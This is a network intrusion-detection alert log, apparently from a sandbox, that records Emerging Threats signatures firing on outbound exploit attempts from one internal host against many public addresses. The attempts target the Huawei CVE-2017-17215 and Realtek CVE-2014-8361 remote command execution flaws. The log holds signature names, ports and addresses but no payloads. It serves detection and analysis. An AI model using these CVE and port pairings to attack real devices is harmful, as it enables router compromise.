07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52170	37215	192.168.2.23	41.155.8.82
07/20/24-23:01:31.325400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54428	52869	192.168.2.23	118.217.116.132
07/20/24-23:01:34.044537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52198	37215	192.168.2.23	157.229.87.54
07/20/24-23:01:42.617689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60274	52869	192.168.2.23	186.150.2.45
07/20/24-23:01:47.375803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52282	52869	192.168.2.23	175.210.141.95
07/20/24-23:01:45.188773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60842	52869	192.168.2.23	142.215.251.21
07/20/24-23:01:44.776719	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39014	52869	192.168.2.23	97.80.44.168
07/20/24-23:01:41.228794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42024	52869	192.168.2.23	1.216.69.165
07/20/24-23:01:47.147727	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38340	52869	192.168.2.23	63.211.43.107
07/20/24-23:01:08.600114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58992	52869	192.168.2.23	113.34.69.120
07/20/24-23:01:24.910426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50096	37215	192.168.2.23	132.105.175.229
07/20/24-23:01:44.795218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48582	52869	192.168.2.23	121.163.119.125
07/20/24-23:01:01.846382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33600	52869	192.168.2.23	213.241.106.75
07/20/24-23:01:02.493447	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36278	52869	192.168.2.23	112.103.96.49
07/20/24-23:01:31.314146	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59934	52869	192.168.2.23	174.51.233.233
07/20/24-23:01:31.982478	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59400	37215	192.168.2.23	41.157.201.160
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57930	37215	192.168.2.23	157.129.226.209
07/20/24-23:01:40.372003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59172	37215	192.168.2.23	197.221.100.57
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39918	37215	192.168.2.23	96.102.210.180
07/20/24-23:01:43.044693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41638	52869	192.168.2.23	129.7.216.73
07/20/24-23:01:58.885082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38460	52869	192.168.2.23	130.218.184.181
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49024	37215	192.168.2.23	199.131.169.33
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54156	37215	192.168.2.23	146.66.7.8
07/20/24-23:01:50.845923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41810	52869	192.168.2.23	63.243.31.167
07/20/24-23:01:42.945747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48476	52869	192.168.2.23	154.167.112.208
07/20/24-23:01:44.203130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34246	52869	192.168.2.23	46.50.151.45
07/20/24-23:01:58.807611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49242	52869	192.168.2.23	162.84.55.247
07/20/24-23:00:59.184421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41550	37215	192.168.2.23	41.166.159.225
07/20/24-23:01:10.600298	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39780	52869	192.168.2.23	119.4.44.94
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33230	37215	192.168.2.23	41.199.182.217
07/20/24-23:01:45.109958	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36090	52869	192.168.2.23	174.213.208.19
07/20/24-23:01:51.144153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40542	52869	192.168.2.23	223.123.26.129
07/20/24-23:01:53.015544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37228	52869	192.168.2.23	121.131.41.98
07/20/24-23:01:45.414030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33672	52869	192.168.2.23	86.248.56.62
07/20/24-23:01:48.138392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58154	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:04.233857	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39376	37215	192.168.2.23	41.70.142.225
07/20/24-23:01:27.649945	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41624	37215	192.168.2.23	164.205.240.199
07/20/24-23:00:59.213564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36392	37215	192.168.2.23	157.153.207.206
07/20/24-23:01:42.101588	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35156	52869	192.168.2.23	158.36.226.221
07/20/24-23:01:01.494643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55240	52869	192.168.2.23	23.94.137.105
07/20/24-23:01:00.633742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34184	37215	192.168.2.23	41.78.37.100
07/20/24-23:01:04.097857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59062	37215	192.168.2.23	91.108.5.216
07/20/24-23:01:21.952783	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42156	37215	192.168.2.23	41.178.228.29
07/20/24-23:01:12.852602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37314	52869	192.168.2.23	104.80.144.32
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35136	37215	192.168.2.23	157.167.188.131
07/20/24-23:01:04.447286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42194	52869	192.168.2.23	167.134.108.32
07/20/24-23:01:27.650871	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49954	37215	192.168.2.23	157.47.112.243
07/20/24-23:01:42.874808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38898	52869	192.168.2.23	208.138.181.205
07/20/24-23:01:41.305474	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58086	52869	192.168.2.23	20.44.163.254
07/20/24-23:02:11.592030	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53838	52869	192.168.2.23	116.124.94.169
07/20/24-23:01:20.184321	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46508	37215	192.168.2.23	113.230.74.224
07/20/24-23:01:11.631134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33198	37215	192.168.2.23	197.22.37.33
07/20/24-23:01:53.807714	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49942	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:21.936545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42860	37215	192.168.2.23	64.35.212.13
07/20/24-23:01:31.982479	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39280	37215	192.168.2.23	157.123.230.172
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34808	37215	192.168.2.23	41.19.255.66
07/20/24-23:01:49.033216	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59516	52869	192.168.2.23	71.235.237.254
07/20/24-23:01:53.524729	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49608	52869	192.168.2.23	162.122.16.215
07/20/24-23:02:16.647796	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49650	52869	192.168.2.23	114.52.153.70
07/20/24-23:01:59.356106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50206	52869	192.168.2.23	37.84.136.136
07/20/24-23:02:07.401340	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47090	52869	192.168.2.23	47.224.141.66
07/20/24-23:01:31.322217	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39998	52869	192.168.2.23	146.105.181.156
07/20/24-23:01:44.302645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45918	52869	192.168.2.23	106.2.127.68
07/20/24-23:01:31.323043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56342	52869	192.168.2.23	143.157.68.18
07/20/24-23:01:59.855159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50424	52869	192.168.2.23	95.252.31.72
07/20/24-23:01:41.476492	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37172	52869	192.168.2.23	132.116.164.169
07/20/24-23:01:54.037758	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58232	52869	192.168.2.23	112.218.81.136
07/20/24-23:01:54.704194	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51816	52869	192.168.2.23	67.74.143.214
07/20/24-23:01:02.048214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36992	37215	192.168.2.23	41.12.247.120
07/20/24-23:01:20.592206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58000	52869	192.168.2.23	211.27.252.180
07/20/24-23:01:49.825670	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36608	52869	192.168.2.23	49.79.18.186
07/20/24-23:01:44.825081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49942	52869	192.168.2.23	108.225.154.233
07/20/24-23:02:00.338154	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60880	52869	192.168.2.23	66.250.122.217
07/20/24-23:01:43.415157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54360	52869	192.168.2.23	17.78.214.126
07/20/24-23:01:54.826949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53120	52869	192.168.2.23	40.172.192.128
07/20/24-23:01:11.817436	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53206	37215	192.168.2.23	41.222.86.83
07/20/24-23:01:34.043964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48498	37215	192.168.2.23	41.241.47.119
07/20/24-23:01:42.704900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53568	52869	192.168.2.23	135.205.140.164
07/20/24-23:01:44.977483	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38882	52869	192.168.2.23	203.196.31.139
07/20/24-23:01:44.450410	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48078	52869	192.168.2.23	198.250.155.116
07/20/24-23:01:20.599458	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44618	52869	192.168.2.23	109.120.196.186
07/20/24-23:01:24.883172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50806	37215	192.168.2.23	157.83.52.0
07/20/24-23:01:47.906061	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33136	52869	192.168.2.23	98.169.154.123
07/20/24-23:01:08.613165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52830	52869	192.168.2.23	114.20.70.247
07/20/24-23:01:26.031343	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53470	52869	192.168.2.23	118.217.116.132
07/20/24-23:01:42.151857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42232	52869	192.168.2.23	184.50.158.70
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53068	37215	192.168.2.23	177.199.180.176
07/20/24-23:01:44.546338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52250	52869	192.168.2.23	85.144.205.165
07/20/24-23:01:46.292331	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51002	52869	192.168.2.23	92.210.119.212
07/20/24-23:01:04.114673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45294	37215	192.168.2.23	157.157.173.191
07/20/24-23:01:44.732056	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49360	52869	192.168.2.23	154.167.112.208
07/20/24-23:01:47.236261	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57080	52869	192.168.2.23	163.119.42.207
07/20/24-23:01:53.475886	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40972	52869	192.168.2.23	80.120.36.80
07/20/24-23:01:43.994703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33678	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:46.483452	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40680	52869	192.168.2.23	87.254.251.88
07/20/24-23:01:20.598095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52414	52869	192.168.2.23	205.132.5.218
07/20/24-23:01:41.290518	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49994	52869	192.168.2.23	69.103.140.112
07/20/24-23:01:50.951743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39594	52869	192.168.2.23	79.227.52.7
07/20/24-23:01:26.100052	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47786	52869	192.168.2.23	120.48.178.89
07/20/24-23:02:00.055900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38080	52869	192.168.2.23	18.137.178.82
07/20/24-23:02:04.592319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52792	52869	192.168.2.23	160.192.28.117
07/20/24-23:01:02.103737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45384	37215	192.168.2.23	41.95.186.20
07/20/24-23:01:21.944679	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48608	37215	192.168.2.23	41.63.171.55
07/20/24-23:01:02.783592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55066	52869	192.168.2.23	162.117.132.232
07/20/24-23:01:02.045831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37860	37215	192.168.2.23	41.13.208.139
07/20/24-23:01:41.397238	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34138	52869	192.168.2.23	48.145.35.196
07/20/24-23:01:47.407718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35494	52869	192.168.2.23	133.122.43.145
07/20/24-23:01:00.633635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53564	37215	192.168.2.23	157.72.248.222
07/20/24-23:01:58.585039	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46868	52869	192.168.2.23	84.161.189.113
07/20/24-23:01:47.709674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36216	52869	192.168.2.23	147.65.114.30
07/20/24-23:01:13.989215	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33870	52869	192.168.2.23	130.80.10.211
07/20/24-23:01:55.666677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47078	52869	192.168.2.23	210.201.187.18
07/20/24-23:01:40.296076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39240	37215	192.168.2.23	41.234.203.207
07/20/24-23:01:42.703494	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60618	52869	192.168.2.23	67.41.35.87
07/20/24-23:01:43.243266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58200	52869	192.168.2.23	96.94.31.193
07/20/24-23:01:41.412156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36990	52869	192.168.2.23	143.66.245.70
07/20/24-23:01:44.491060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48520	52869	192.168.2.23	121.218.112.247
07/20/24-23:01:46.212590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37236	52869	192.168.2.23	103.195.20.112
07/20/24-23:01:43.476083	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40904	52869	192.168.2.23	184.170.174.78
07/20/24-23:01:46.261026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51210	52869	192.168.2.23	136.148.234.160
07/20/24-23:01:08.590937	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58384	52869	192.168.2.23	62.90.39.173
07/20/24-23:01:31.312209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57414	52869	192.168.2.23	76.83.139.165
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37118	37215	192.168.2.23	41.96.43.132
07/20/24-23:01:41.956472	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41802	52869	192.168.2.23	5.95.241.47
07/20/24-23:01:45.667238	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56994	52869	192.168.2.23	140.234.5.119
07/20/24-23:01:14.097135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36888	37215	192.168.2.23	157.209.127.80
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43812	37215	192.168.2.23	41.233.32.110
07/20/24-23:01:54.957644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51404	52869	192.168.2.23	209.219.111.180
07/20/24-23:01:01.271651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60772	52869	192.168.2.23	195.67.134.63
07/20/24-23:01:41.286911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45074	52869	192.168.2.23	34.33.43.162
07/20/24-23:01:41.417573	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52788	52869	192.168.2.23	140.117.188.131
07/20/24-23:01:42.813695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36424	52869	192.168.2.23	196.248.47.177
07/20/24-23:01:01.333817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40144	52869	192.168.2.23	47.237.197.200
07/20/24-23:01:53.066716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43292	52869	192.168.2.23	53.50.156.29
07/20/24-23:01:43.088724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55198	52869	192.168.2.23	86.130.161.177
07/20/24-23:01:47.622268	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56800	52869	192.168.2.23	42.61.115.2
07/20/24-23:01:20.169339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37634	37215	192.168.2.23	41.215.162.139
07/20/24-23:01:59.738271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34290	52869	192.168.2.23	52.14.151.104
07/20/24-23:01:25.600782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56522	52869	192.168.2.23	157.108.156.75
07/20/24-23:01:42.960666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43428	52869	192.168.2.23	84.203.232.104
07/20/24-23:01:55.384732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39072	52869	192.168.2.23	60.14.147.228
07/20/24-23:01:41.380561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44798	52869	192.168.2.23	184.103.85.217
07/20/24-23:01:42.729310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48676	52869	192.168.2.23	159.222.212.200
07/20/24-23:01:53.041672	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46152	52869	192.168.2.23	164.75.171.71
07/20/24-23:01:08.578727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60194	52869	192.168.2.23	169.193.81.146
07/20/24-23:01:43.621955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48784	52869	192.168.2.23	64.190.167.168
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45912	37215	192.168.2.23	157.19.254.108
07/20/24-23:01:48.834295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58622	52869	192.168.2.23	71.14.67.20
07/20/24-23:01:27.725851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57548	37215	192.168.2.23	197.43.142.84
07/20/24-23:01:13.628544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50292	52869	192.168.2.23	90.205.64.234
07/20/24-23:01:48.955750	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60080	52869	192.168.2.23	105.224.21.3
07/20/24-23:01:44.408559	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43712	52869	192.168.2.23	209.24.146.250
07/20/24-23:01:43.944379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54670	52869	192.168.2.23	35.7.41.237
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44098	37215	192.168.2.23	41.239.125.129
07/20/24-23:01:31.974837	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37210	37215	192.168.2.23	41.105.201.33
07/20/24-23:01:02.345084	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60784	52869	192.168.2.23	178.251.54.152
07/20/24-23:02:02.509837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54854	52869	192.168.2.23	41.136.217.138
07/20/24-23:01:31.333071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34288	52869	192.168.2.23	121.166.138.14
07/20/24-23:01:46.530676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48422	52869	192.168.2.23	45.122.145.145
07/20/24-23:02:07.969418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.23	94.27.30.164
07/20/24-23:01:20.175900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48058	37215	192.168.2.23	77.95.4.242
07/20/24-23:01:12.807274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53100	52869	192.168.2.23	166.63.2.220
07/20/24-23:01:48.155981	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52440	52869	192.168.2.23	155.185.16.155
07/20/24-23:01:27.660100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41958	37215	192.168.2.23	197.195.116.74
07/20/24-23:01:24.126316	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38786	52869	192.168.2.23	184.74.79.160
07/20/24-23:01:44.914703	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42698	52869	192.168.2.23	183.141.159.182
07/20/24-23:01:58.093784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40746	52869	192.168.2.23	151.217.152.189
07/20/24-23:01:01.437626	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60144	52869	192.168.2.23	205.32.150.55
07/20/24-23:01:52.940746	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36876	52869	192.168.2.23	159.143.86.166
